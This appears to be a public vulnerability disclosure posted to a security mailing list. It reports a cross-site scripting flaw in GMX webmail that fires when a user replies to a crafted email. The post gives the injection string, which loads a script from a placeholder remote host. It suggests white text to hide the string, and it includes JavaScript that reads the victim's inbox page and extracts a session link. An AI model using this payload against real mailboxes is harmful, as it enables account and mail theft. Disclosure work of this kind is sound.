hello everybody,

recently, i've detected that gmx, a german freemail-provider (it offers professional services too) is prone to a xss-vulnerability.

An attacker could send an email containing these string:

</textarea><script src="http://somedomain.tld/somefile.js" type="text/javascript">

Because gmx-webmail displays html-mails also, you can color the code white so that the recipient won't see that it is included in the mail.

If the user views the mail, actually nothing happens, but if he tries to reply to the mail the javascript file is included and executed in the users browser.

To get the source of the users inbox, somefile.js might be:

-------------

function doRequest(url)
{
    http_request = false;

    if (window.XMLHttpRequest)
        {http_request = new XMLHttpRequest(); if (http_request.overrideMimeType) {http_request.overrideMimeType('text/xml');}}    
    else if (window.ActiveXObject)
    {try {http_request = new ActiveXObject("Msxml2.XMLHTTP");} catch (e) {try {http_request = new ActiveXObject("Microsoft.XMLHTTP");} catch (e) {}}}

    if (!http_request) {return false; /* no xmlinst*/}
    
    http_request.onreadystatechange = ProcessContent;
    http_request.open('GET', url, true);
    http_request.send(null);
    
}

function ProcessContent()
{
    if (http_request.readyState == 4)
    {
        if (http_request.status == 200)
        {
                var source = http_request.responseText;
                source =  source.slice(source.indexOf('href="http://service.gmx.net/de/cgi/g.fcgi/mail/index?')+48, source.indexOf('">Posteingang</a>'));
                alert(source);
                
                
                
        } else {/*request failed*/};
    }

}

doRequest(location.href);

-------------

regards,

commander keen
-- 
Der GMX SmartSurfer hilft bis zu 70% Ihrer Onlinekosten zu sparen! 
Ideal für Modem und ISDN: http://www.gmx.net/de/go/smartsurfer

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/